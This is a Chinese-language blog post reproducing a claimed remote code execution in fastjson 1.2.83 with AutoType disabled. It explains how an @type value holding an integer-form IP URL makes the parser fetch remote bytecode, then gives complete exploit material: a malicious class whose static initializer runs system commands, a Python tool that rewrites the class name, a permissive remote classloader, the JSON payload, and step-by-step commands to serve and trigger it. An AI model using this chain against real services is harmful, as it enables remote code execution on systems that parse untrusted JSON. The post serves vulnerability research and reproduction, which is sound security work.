fastjson 1.2.83 RCE 复现

fastjson 1.2.83 RCE 复现

Fastjson 1.2.83 远程代码执行:AutoType 关闭下的 SSRF 到 RCE

环境:

jdk 8/17

fastjson 1.2.83

配置:关闭 AutoType

AutoType是什么:

fastjson 有个功能叫 AutoType。如果你的 JSON 里带有特殊的 @type 键,fastjson 解析JSON时就会把它的值当作一个 Java 类名,并创建这个类的实例。这就导致我们可以创建恶意类并将其实例化。

格式:

{"@type":"com.fearsoff.Test","name":"whatever"}

可是,在关闭 AutoType的情况下,fastjson 默认不再自动识别和处理 @type 字段。

源码分析:

我们看com.alibaba.fastjson.parser类的部分源码:

        boolean jsonType = false;
        InputStream is = null;
        try {
            String resource = typeName.replace('.', '/') + ".class";      //将资源名的“.”替换为“/”
            if (defaultClassLoader != null) {
                is = defaultClassLoader.getResourceAsStream(resource);      //这里用getResourceAsStream读取resource
            } else {
                is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
            }
            if (is != null) {      //下面这一段作用是读取字节码判断是否有@JSONType注解,利用的时候自己写就行
                ClassReader classReader = new ClassReader(is, true);
                TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
                classReader.accept(visitor);
                jsonType = visitor.hasJsonType();
            }
        } catch (Exception e) {
            // skip
        } finally {
            IOUtils.close(is);
        }

        if (autoTypeSupport || jsonType || expectClassFlag) {      //由于我们写了@JSONType,jsonType为真进入下层
            boolean cacheClass = autoTypeSupport || jsonType;
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);      //加载类并返回
        }

        if (clazz != null) {
            if (jsonType) {
                if (autoTypeSupport) {
                    TypeUtils.addMapping(typeName, clazz);
                }
                return clazz;
            }

可以看到即使是在关闭的情况下,也会用is = defaultClassLoader.getResourceAsStream(resource); 来处理我们传入的@type 字段我们看看getResourceAsStream方法的具体实现:

    /**
     * Returns an input stream for reading the specified resource.
     *
     * <p> The search order is described in the documentation for {@link
     * #getResource(String)}.  </p>
     *
     * <p> Resources in named modules are subject to the encapsulation rules
     * specified by {@link Module#getResourceAsStream Module.getResourceAsStream}.
     * Additionally, and except for the special case where the resource has a
     * name ending with "{@code .class}", this method will only find resources in
     * packages of named modules when the package is {@link Module#isOpen(String)
     * opened} unconditionally. </p>
     *
     * @param  name
     *         The resource name
     *
     * @return  An input stream for reading the resource; {@code null} if the
     *          resource could not be found, the resource is in a package that
     *          is not opened unconditionally, or access to the resource is
     *          denied by the security manager.
     *
     * @throws  NullPointerException If {@code name} is {@code null}
     *
     * @since  1.1
     * @revised 9
     */
    public InputStream getResourceAsStream(String name) {
        Objects.requireNonNull(name);
        URL url = getResource(name);
        try {
            return url != null ? url.openStream() : null;
        } catch (IOException e) {
            return null;
        }
    }

作用是根据资源名称,返回一个可以读取该资源的 InputStream,如果资源不存在或无法访问,返回 null。而且,它支持使用url加载资源,也就是说我们可以通过它访问我们的服务器来下载恶意字节码。不过需要注意由于.会被替换为/,所以域名不能含有.。我们用IP 地址的整数形式绕过。如127.0.0.1 写成一个整数就是 2130706433。我们就可以写:{"@type":"http://2130706433:31337/probe"}。而且后面我们可以看到,由于在字节码里写了@JSONType,条件判断为真,会加载并实例化我们传入的字节码。不过需要注意,一些classloader(如高版本jdk等原因)不支持://这样的双/出现,会加载错误,但是可以去/proc/self/fd访问到被下载但是定义错误的字节码,由此达成rce。

/proc/self/fd:

当 JVM 通过 jar:http 下载一个远程 jar 时,它并不是流式读取,而是把整个文件保存到一个临时文件 /tmp/jar_cache<随机>.tmp,打开它,然后在保持打开的同时把这个文件从磁盘上删除。文件从目录列表里消失了,但通过那个仍然打开的文件描述符依然完全可读。在 Linux 上,一个打开的描述符 N 可以通过 /proc/self/fd/N 访问到。

复现过程:

jdk 8,windows环境:

目录结构:

vuln-lab/                 
├── lib/                   ← 放 fastjson 依赖
├── payload/               ← 恶意字节码(攻击者服务器要发的文件)
├── patch.py               ← 补丁工具
└── demo/                  ← 漏洞触发代码

恶意类 Evil.java:我们传给目标的恶意类,实例化自动执行恶意代码

import com.alibaba.fastjson.annotation.JSONType;

@JSONType
public class Evil {

    static {
        System.out.println("[EVIL] <clinit> executing!");
        try {
            boolean win = System.getProperty("os.name").toLowerCase().contains("win");
            Process p = win
                ? Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "calc.exe"})
                : Runtime.getRuntime().exec(new String[]{"sh", "-c", "echo calc-demo"});
            System.out.println("[EVIL] exec exit=" + p.waitFor());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Evil() {
    }
}

工具 patch.py:直接跑会得到 NoClassDefFoundError: ... (wrong name: Evil) —— JVM 要求请求类名和字节码内部名一致。这个py脚本用于改类内部名

#!/usr/bin/env python3
"""常量池感知的类名重命名: 把 this_class 的 UTF8 换成任意长度的新名字"""
import struct
import sys

def patch(in_path, out_path, new_name):
    data = bytearray(open(in_path, 'rb').read())
    old_name = new_name.split('/')[-1]      # 约定: 新名最后一段 == 原类名

    p = 8                                   # 跳过 magic(4) + 版本(4)
    cp_count = struct.unpack('>H', data[p:p + 2])[0]
    p += 2

    pool = bytearray(struct.pack('>H', cp_count))
    replaced = False
    idx = 1
    while idx < cp_count:
        tag = data[p]
        if tag == 1:                        # CONSTANT_Utf8: tag(1) + 长度(2) + 内容
            ln = struct.unpack('>H', data[p + 1:p + 3])[0]
            s = data[p + 3:p + 3 + ln].decode('utf-8')
            if not replaced and s == old_name:
                s = new_name
                replaced = True
            b = s.encode('utf-8')
            pool += bytes([1]) + struct.pack('>H', len(b)) + b
            p += 3 + ln
        elif tag in (3, 4):                 # Integer/Float: 5 字节
            pool += data[p:p + 5]; p += 5
        elif tag in (5, 6):                 # Long/Double: 9 字节, 占 2 个槽位
            pool += data[p:p + 9]; p += 9; idx += 1
        elif tag in (7, 8):                 # Class/String: 3 字节
            pool += data[p:p + 3]; p += 3
        elif tag in (9, 10, 11, 12):        # Fieldref/Methodref/...: 5 字节
            pool += data[p:p + 5]; p += 5
        elif tag == 15:                     # MethodHandle: 4 字节
            pool += data[p:p + 4]; p += 4
        elif tag == 16:                     # MethodType: 3 字节
            pool += data[p:p + 3]; p += 3
        elif tag in (17, 18):               # Dynamic/InvokeDynamic: 5 字节
            pool += data[p:p + 5]; p += 5
        elif tag in (19, 20):               # Module/Package: 4 字节
            pool += data[p:p + 4]; p += 4
        else:
            raise Exception('unknown tag %d' % tag)
        idx += 1

    if not replaced:
        raise Exception('"%s" not found in pool' % old_name)

    open(out_path, 'wb').write(data[:8] + pool + data[p:])
    print('[+] patched: %s -> %s' % (old_name, new_name))

if __name__ == '__main__':
    patch(sys.argv[1], sys.argv[1], sys.argv[2])

加载器 RemoteLoader.java:模拟 Spring Boot

模拟较为宽松的类加载器环境

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

public class RemoteLoader extends URLClassLoader {

    public RemoteLoader(ClassLoader parent) {
        super(new URL[0], parent);
    }

    @Override
    public InputStream getResourceAsStream(String name) {
        InputStream local = super.getResourceAsStream(name);  // 本地 classpath 优先
        if (local != null) return local;
        try {
            if (name.startsWith("http://") || name.startsWith("jar:")) {
                return new URL(name).openStream();            // ← SSRF 就在这里发生
            }
        } catch (Exception e) { }
        return null;
    }

    @Override
    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        synchronized (getClassLoadingLock(name)) {
            Class<?> loaded = findLoadedClass(name);
            if (loaded != null) return loaded;
            if (name.startsWith("http:") || name.startsWith("jar:")) {
                try {
                    String path = name.replace('.', '/') + ".class";
                    try (InputStream is = new URL(path).openStream()) {
                        ByteArrayOutputStream bos = new ByteArrayOutputStream();
                        byte[] buf = new byte[4096];
                        int n;
                        while ((n = is.read(buf)) != -1) bos.write(buf, 0, n);
                        byte[] bytes = bos.toByteArray();
                        return defineClass(name, bytes, 0, bytes.length);  // ← 加载点
                    }
                } catch (Exception e) {
                    throw new ClassNotFoundException(name, e);
                }
            }
            return super.loadClass(name, resolve);
        }
    }
}

漏洞触发脚本: VulnDemo.java(触发json解析进而触发漏洞)

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

import java.lang.reflect.Field;

public class VulnDemo {

    public static void main(String[] args) throws Exception {
        // ① payload: 127.0.0.1 写成整数 2130706433 (点号会被 replace('.','/') 破坏)
        //    ".." 就是 "//" 的编码
        String payload = "{"@type":"http:..2130706433:19090.Evil"}";
        System.out.println("[*] payload = " + payload);

        // ② 把 fastjson 的默认类加载器换成远程加载器 (模拟 Spring Boot 环境)
        Field f = ParserConfig.class.getDeclaredField("defaultClassLoader");
        f.setAccessible(true);
        f.set(ParserConfig.getGlobalInstance(),
              new RemoteLoader(VulnDemo.class.getClassLoader()));
        System.out.println("[*] defaultClassLoader = RemoteLoader");

        // ③ 触发漏洞 —— 解析过程即攻击过程
        Object result = JSON.parse(payload);
        System.out.println("[*] parsed = " + result);
    }
}

一个一键执行的命令行:

rem ===== ① 编译恶意类 (JDK 8!) =====
cd payload
"D:agentfastjson-1.2.83-rce-labaudittemurin8jdk8u502-b07binjavac" -encoding UTF-8 -cp ..libfastjson-1.2.83.jar Evil.java

rem ===== ② 打补丁: 把内部名改成 URL 形态 =====
py ..patch.py Evil.class http://2130706433:19090/Evil

rem ===== ③ 起恶意字节码服务 (新开一个 cmd 窗口, 保持运行) =====
py -m http.server 19090

rem ===== ④ 编译漏洞触发代码 =====
cd ..demo
"D:agentfastjson-1.2.83-rce-labaudittemurin8jdk8u502-b07binjavac" -encoding UTF-8 -d . -cp ..libfastjson-1.2.83.jar VulnDemo.java RemoteLoader.java

rem ===== ⑤ 运行 → 计算器弹出! =====
"D:agentfastjson-1.2.83-rce-labaudittemurin8jdk8u502-b07binjava" -cp ".;..libfastjson-1.2.83.jar" VulnDemo

完成复现:

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇